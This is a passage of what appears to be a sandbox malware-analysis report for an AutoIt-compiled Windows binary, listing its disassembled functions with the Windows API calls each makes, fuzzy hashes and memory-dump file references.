Instruction Fuzzy Hash: 7A51B471A002009FD710AF24C986F7A77E5EB44718F08849CF91A9F3D3DB75AD428BA1

Function 00B71C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00B71CC0
IsWindowEnabled.USER32 ref: 00B71CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00B71CDB
IsIconic.USER32 ref: 00B71CE9
IsZoomed.USER32 ref: 00B71CF7

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 414e8758b1a0a201ac99a94dcf85daafb353640e7471765831b8528520af6592
Instruction ID: a24cc109542464aa67156f7731351bacde39ab76c47b8b27818b414155814220
Opcode Fuzzy Hash: 414e8758b1a0a201ac99a94dcf85daafb353640e7471765831b8528520af6592
Instruction Fuzzy Hash: 3F218D317402505FD7218F6ED884B6A7BE5EF95325B19C8ACE85E8B251CB71EC42CBA0

Function 00B6A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00B6A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00B6A6BA

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Process32NextW.KERNEL32(00000000,?), ref: 00B6A79C
CloseHandle.KERNEL32(00000000), ref: 00B6A7AB

Part of subcall function 00AFCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00B23303,?), ref: 00AFCE8A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: b270c6aa661f216967c5539254f8a6413d5b60d26cc0fb2cb08077ce3eb4a8a5
Instruction ID: 2efbe73a681368be3ada188fa0d444d5a2a04c601c35d92a0acadb55bc889d92
Opcode Fuzzy Hash: b270c6aa661f216967c5539254f8a6413d5b60d26cc0fb2cb08077ce3eb4a8a5
Instruction Fuzzy Hash: 80516E715083409FD710EF25C986E6BBBE8FF89754F40492DF589A7262EB30D904CB92

Function 00B4AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00B4AAAC
SetKeyboardState.USER32(00000080), ref: 00B4AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00B4AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00B4AB88

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 44cf0c3db209eba2d96cd717d831de06f1dcad9fb3740b14cb18ff40e0becefa
Instruction ID: 27fb18b05cd3d926904b10cf65460a4614c65688d049ac0f838399c79e02231a
Opcode Fuzzy Hash: 44cf0c3db209eba2d96cd717d831de06f1dcad9fb3740b14cb18ff40e0becefa
Instruction Fuzzy Hash: FA311430AC0208AEFF35DA688C45BFA7BE6EB44310F04429EF585961D1D775CB85E762

Function 00B1BB6F Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B1BB7F

Part of subcall function 00B129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000), ref: 00B129DE
Part of subcall function 00B129C8: GetLastError.KERNEL32(00000000,?,00B1D7D1,00000000,00000000,00000000,00000000,?,00B1D7F8,00000000,00000007,00000000,?,00B1DBF5,00000000,00000000), ref: 00B129F0

GetTimeZoneInformation.KERNEL32 ref: 00B1BB91
WideCharToMultiByte.KERNEL32(00000000,?,00BB121C,000000FF,?,0000003F,?,?), ref: 00B1BC09
WideCharToMultiByte.KERNEL32(00000000,?,00BB1270,000000FF,?,0000003F,?,?,?,00BB121C,000000FF,?,0000003F,?,?), ref: 00B1BC36

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
String ID:
API String ID: 806657224-0
Opcode ID: e8c23ad70066338b722041f7daf385ab6dc064ec8a1af0c39d9d80a85779b7a1
Instruction ID: 86bfb43aa025e8bf00f3d61233d61c3c7e7a030d8885fb3fcffe928640c2e366
Opcode Fuzzy Hash: e8c23ad70066338b722041f7daf385ab6dc064ec8a1af0c39d9d80a85779b7a1
Instruction Fuzzy Hash: 0D31BE70908205DFCB14DF69DC909AABBF8FF4531079446EEE024DB2A1DB709990CB90

Function 00B55C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00B55CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00B55D17
FindClose.KERNEL32(?), ref: 00B55D5F

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: c4216c9d67d220da115ac2ca67d9a82226ea072898bdd3550ad3477177aa62de
Instruction ID: ce56c43cf68cf788ccc1ddccffc5a06df74cc4a0157aad4ec8838b4e9a8fe4c6
Opcode Fuzzy Hash: c4216c9d67d220da115ac2ca67d9a82226ea072898bdd3550ad3477177aa62de
Instruction Fuzzy Hash: EB519A356046019FC724CF28C494E9ABBF4FF49315F1485ADE96A8B3A2CB30E945CF91

Function 00B12622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00B1271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B12724
UnhandledExceptionFilter.KERNEL32(?), ref: 00B12731

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c798fd532e3081b339c9595312040f9c796d0842b4f627bc1b5dd7a562738dfa
Instruction ID: 4eb517a6cef8c355f254f0cb3fac4f86958ddba07b8e02e8205f375667481665
Opcode Fuzzy Hash: c798fd532e3081b339c9595312040f9c796d0842b4f627bc1b5dd7a562738dfa
Instruction Fuzzy Hash: D731B4749112189BCB21DF68DC897D9BBF8AF08310F5041EAE41CA72A1EB349F858F45

Function 00B551CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B551DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00B55238
SetErrorMode.KERNEL32(00000000), ref: 00B552A1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 1671b05947a2e449a8375d2273c6b445739cecbab95d901fdecb8cdac9598487
Instruction ID: e2d353e5121ede06cfca7ff353bdcbeb51f6f9f34f88f1467298d861ef1e8a9e
Opcode Fuzzy Hash: 1671b05947a2e449a8375d2273c6b445739cecbab95d901fdecb8cdac9598487
Instruction Fuzzy Hash: EE314B75A006189FDB00DF54D894FADBBF4FF49315F048099E809AB362DB32E85ACB90

Function 00B416C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00AFFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00B00668
Part of subcall function 00AFFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00B00685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B4170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B4173A
GetLastError.KERNEL32 ref: 00B4174A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 38ea80eb9e47c62d3dace800d25a24256eee71fa5db10e715ce8fd2ff440f894
Instruction ID: ba3a53df07246c5d7903494b6fcb365f825d7fd026f3e1af91ef7a7efefe7652
Opcode Fuzzy Hash: 38ea80eb9e47c62d3dace800d25a24256eee71fa5db10e715ce8fd2ff440f894
Instruction Fuzzy Hash: 2C11CEB2900308AFE718AF58DCC6D6ABBF9EF04714B20856EF05653241EB70FC818A64

Function 00B4D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00B4D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00B4D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00B4D650

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: d57c35d020b3997ccd316cb75de685593adf677601335b333df9b47006804b70
Instruction ID: 7b51ee40c1b56be79d793129f419a3c7b6b5145cedf3c7ef0a7831b7d589fe57
Opcode Fuzzy Hash: d57c35d020b3997ccd316cb75de685593adf677601335b333df9b47006804b70
Instruction Fuzzy Hash: 64115E75E05228BFDB108F99DC45FAFBFBCEB45B50F108165F908E7290D6704A059BA1

Function 00B41663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00B4168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00B416A1
FreeSid.ADVAPI32(?), ref: 00B416B1

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: b4df74b62e3b27b8aee7c8c822991e838a16485e8df0d4ea84a587e0d48e6300
Instruction ID: 79ab6334ee4bc82beb7b090465ecba228c7cc030f21e648b0957f73c50c01598
Opcode Fuzzy Hash: b4df74b62e3b27b8aee7c8c822991e838a16485e8df0d4ea84a587e0d48e6300
Instruction Fuzzy Hash: 64F0F971950309FBDB00DFE49C89EAEBBBCFB04604F504569E501E2181D774AA449B50

Function 00B3D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00B3D28C

Strings

X64, xrefs: 00B3D2A8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 772c3fabeffda491fab061fb3cacf5af7a2b7281ba06afea364cd5c36d52d5d0
Instruction ID: da1cce8ab85ab5a73586af2798775db008ac434e4d5f7cc803f091a81873263c
Opcode Fuzzy Hash: 772c3fabeffda491fab061fb3cacf5af7a2b7281ba06afea364cd5c36d52d5d0
Instruction Fuzzy Hash: 8FD0C9B480111DEACF90CB90ECC8DDAB7BCBB04305F200195F506A2000DB3096488F10

Function 00B568EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00B56918
FindClose.KERNEL32(00000000), ref: 00B56961

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 2573670ec0eaf43fe42c8105c36cd424f9b3dd1a4e25cae41a48e74f0a970f06
Instruction ID: baac872f8f0305ab9872a3e8cfa76537c6c7d3c7f105ab4500537fe6687b6bdb
Opcode Fuzzy Hash: 2573670ec0eaf43fe42c8105c36cd424f9b3dd1a4e25cae41a48e74f0a970f06
Instruction Fuzzy Hash: 8D1190716046419FC710DF2AD488A16BBE5FF89329F54C69DE8698F2A2CB30EC45CB91

Function 00B537B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00B64891,?,?,00000035,?), ref: 00B537E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00B64891,?,?,00000035,?), ref: 00B537F4

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 388e3905bea1257f175d0544a366874e11424b5ea330f7b405a7d1d59e301446
Instruction ID: 889362ba2babd14147f7f695adb0fd81af9b4ebe4c38bc9193a0a577eee46eb8
Opcode Fuzzy Hash: 388e3905bea1257f175d0544a366874e11424b5ea330f7b405a7d1d59e301446
Instruction Fuzzy Hash: 56F0EC706043242AE71017765C4DFDB3ADDDFC8761F0001A9F509D3281D9609D44C7B1

Function 00B410BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B411FC), ref: 00B410D4
CloseHandle.KERNEL32(?,?,00B411FC), ref: 00B410E9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 54f64680abd93efbc28fe51fb9e77f6080de6fe36b78e7693a32b56b53c6613f
Instruction ID: b9041b9a41d02add9ffb85a2a9330e799fcec419f018606e8007189221ae857d
Opcode Fuzzy Hash: 54f64680abd93efbc28fe51fb9e77f6080de6fe36b78e7693a32b56b53c6613f
Instruction Fuzzy Hash: 0CE0BF72014610AEF7252B55FD05E777BE9EF04310B14882DF5A6814B1DB626CD0DB54

Function 00B5EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00B5EABD

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 71dca3b393457386cd7dacc93b679d0dc2c0b25cfad99c6d8be46aaefed4343e
Instruction ID: af1b556b25adb15afe9a560784d6e7ccaee73e772b30e2b61345ba3d5dd4ebe7
Opcode Fuzzy Hash: 71dca3b393457386cd7dacc93b679d0dc2c0b25cfad99c6d8be46aaefed4343e
Instruction Fuzzy Hash: BFE01A312102049FC710EF6AD844E9ABBEDAF98760F00845AFD5AC7251DB70E9458BA0

Function 00B009D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00B003EE), ref: 00B009DA

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 63766e3c4cf9cb0ab96fbb7a3505e6863bec1999886f0cc846adcfe43954f745
Instruction ID: 0d2d0e384b0576e1c04c8ff5478f69bf3b01fad1d730983188ba7200966a3b52
Opcode Fuzzy Hash: 63766e3c4cf9cb0ab96fbb7a3505e6863bec1999886f0cc846adcfe43954f745
Instruction Fuzzy Hash:

Function 00B62ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00B62B30
DeleteObject.GDI32(00000000), ref: 00B62B43
DestroyWindow.USER32 ref: 00B62B52
GetDesktopWindow.USER32 ref: 00B62B6D
GetWindowRect.USER32(00000000), ref: 00B62B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00B62CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00B62CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62CF8
GetClientRect.USER32(00000000,?), ref: 00B62D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00B62D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62D80
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62D98
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62DA8
GlobalFree.KERNEL32(00000000), ref: 00B62DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00B7FC38,00000000), ref: 00B62DDB
GlobalFree.KERNEL32(00000000), ref: 00B62DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00B62E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00B62E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B62E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B6303F

Strings

DISPLAY, xrefs: 00B62EA2
AutoIt v3, xrefs: 00B62CF2
static, xrefs: 00B62D3A, 00B62E91
, xrefs: 00B62FC5

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

